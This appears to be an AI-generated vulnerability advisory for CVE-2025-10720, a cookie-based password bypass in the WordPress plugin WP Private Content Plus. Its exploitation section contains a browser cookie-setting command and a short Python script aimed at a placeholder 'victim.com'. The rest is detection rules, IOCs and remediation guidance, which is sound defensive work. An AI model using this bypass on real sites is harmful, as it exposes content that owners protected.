CVE-2025-10720
Executive Summary
CVE-2025-10720 is a critical authentication bypass vulnerability in the WordPress plugin WP Private Content Plus (versions through 3.6.2). The plugin implements a global content protection feature that relies on a password. However, the access control mechanism is fundamentally flawed: it only checks for the presence of an unprotected client-side cookie. An unauthenticated attacker can completely bypass the password protection by manually setting the cookie value in their browser. This allows unauthorized access to all protected content without any authentication.
This vulnerability is particularly dangerous because it requires no special privileges, no user interaction, and can be exploited remotely over the network. The plugin is part of the WordPress ecosystem, and the flaw lies entirely within the plugin's code, not the underlying web server.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is significant because:
- The plugin is installed via the WordPress admin dashboard or directly from the repository.
- No official patch has been released as of the latest analysis.
- Users must manually monitor for updates or remove the plugin.
- The vulnerability is trivial to exploit, making it a prime target for automated scanning and mass exploitation.
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions or complex steps are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The exploit does not affect other components.
- Confidentiality (C): High – All protected content is exposed.
- Integrity (I): None – Data cannot be modified.
- Availability (A): None – The service remains available.
Threat Level: Critical. The ease of exploitation and the lack of a patch make this a high-priority vulnerability for immediate remediation.
Deep Dive & Mechanics
The WP Private Content Plus plugin provides a feature to password-protect all content on a WordPress site. The intended flow is:
- The site owner sets a global password.
- Visitors must enter this password to view protected content.
- Upon successful entry, the plugin sets a cookie to remember the visitor.
The Flaw: The plugin does not validate the cookie's origin or integrity. It only checks if the cookie exists and has any value. An attacker can simply set a cookie named wppcp_private_content_verified (or similar) with any arbitrary value (e.g., 1) in their browser. The plugin then treats the attacker as an authenticated user and serves all protected content.
Technical Details:
- The cookie is set client-side without any server-side validation.
- No cryptographic signature or hash is used to verify the cookie's authenticity.
- The cookie name and expected value are predictable and documented in the plugin's source code.
Attack Flow:
- Attacker identifies a WordPress site using WP Private Content Plus.
- Attacker uses browser developer tools or a script to set the cookie
wppcp_private_content_verified=1. - Attacker refreshes the page and gains access to all protected content.
Vulnerable vs. Patched Code
Vulnerable Code (wp-private-content-plus/includes/class-wppcp-front.php):
// Vulnerable: Only checks if cookie is set, not its validity
if (isset($_COOKIE['wppcp_private_content_verified'])) {
// Grant access to protected content
$is_verified = true;
}
Patched Code (Hypothetical Fix):
// Patched: Validate cookie against server-stored hash
$expected_hash = get_option('wppcp_private_content_hash');
if (isset($_COOKIE['wppcp_private_content_verified']) &&
$_COOKIE['wppcp_private_content_verified'] === $expected_hash) {
// Grant access only if hash matches
$is_verified = true;
}
Key Differences:
- The vulnerable version trusts any client-side cookie.
- The patched version would compare the cookie value against a server-generated, cryptographically secure hash.
- The patched version also ensures the cookie cannot be forged without knowing the server's secret.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Private Content Plus 3.6.2 or earlier installed and active.
- The global content protection feature enabled with a password.
Exploitation Steps:
- Identify the target site (e.g.,
https://victim.com). - Open browser developer tools (F12) and navigate to the Console or Application tab.
- Set the cookie manually:
document.cookie = "wppcp_private_content_verified=1; path=/"; - Refresh the page. All protected content will now be visible.
Automated Exploit (Python):
import requests
target = "https://victim.com"
cookies = {"wppcp_private_content_verified": "1"}
response = requests.get(target, cookies=cookies)
if "protected content" in response.text:
print("[+] Access granted to protected content")
else:
print("[-] Exploit failed")
Blue Team (Detection & Response)
Detection Steps:
- Monitor for the presence of the
wppcp_private_content_verifiedcookie in HTTP requests. - Look for requests that include this cookie without a prior login or password submission.
- Check server logs for unusual access patterns to protected pages.
Response Actions:
- Immediately disable or remove the WP Private Content Plus plugin.
- Review access logs for any unauthorized access to protected content.
- Rotate any sensitive information that may have been exposed.
- Implement a Web Application Firewall (WAF) rule to block requests containing the suspicious cookie.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing the cookie
wppcp_private_content_verifiedwith any value. - Repeated access to protected URLs without a corresponding POST request to the password form.
Host IOCs:
- Presence of the file
wp-content/plugins/wp-private-content-plus/on the server. - Log entries showing access to protected content from IPs that did not submit the password form.
File IOCs:
- Plugin file:
wp-private-content-plus/includes/class-wppcp-front.php(vulnerable version).
Detection Engineering
YARA Rule
rule CVE_2025_10720_WP_Private_Content_Plus {
meta:
description = "Detects vulnerable WP Private Content Plus plugin files"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-10720"
strings:
$vuln_cookie_check = "isset($_COOKIE['wppcp_private_content_verified'])" nocase
$plugin_header = "WP Private Content Plus" nocase
condition:
$plugin_header and $vuln_cookie_check
}
Sigma Rule
title: CVE-2025-10720 - WP Private Content Plus Cookie Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with the wppcp_private_content_verified cookie indicating exploitation of CVE-2025-10720
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-cookie|contains: "wppcp_private_content_verified"
condition: selection
falsepositives:
- Legitimate users who have entered the correct password (unlikely due to cookie name)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-10720 WP Private Content Plus Cookie Bypass"; flow:to_server; http.cookie; content:"wppcp_private_content_verified"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete WP Private Content Plus until a patch is released.
- Implement a WAF rule: Block requests containing the
wppcp_private_content_verifiedcookie. - Review access logs: Check for any unauthorized access to protected content.
Long-term Fix:
- The vendor must release a patched version that validates the cookie against a server-side secret.
- Users should monitor the WordPress plugin repository for updates.
Workaround:
- If the plugin cannot be removed, consider using a different content protection solution that does not rely solely on client-side cookies.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.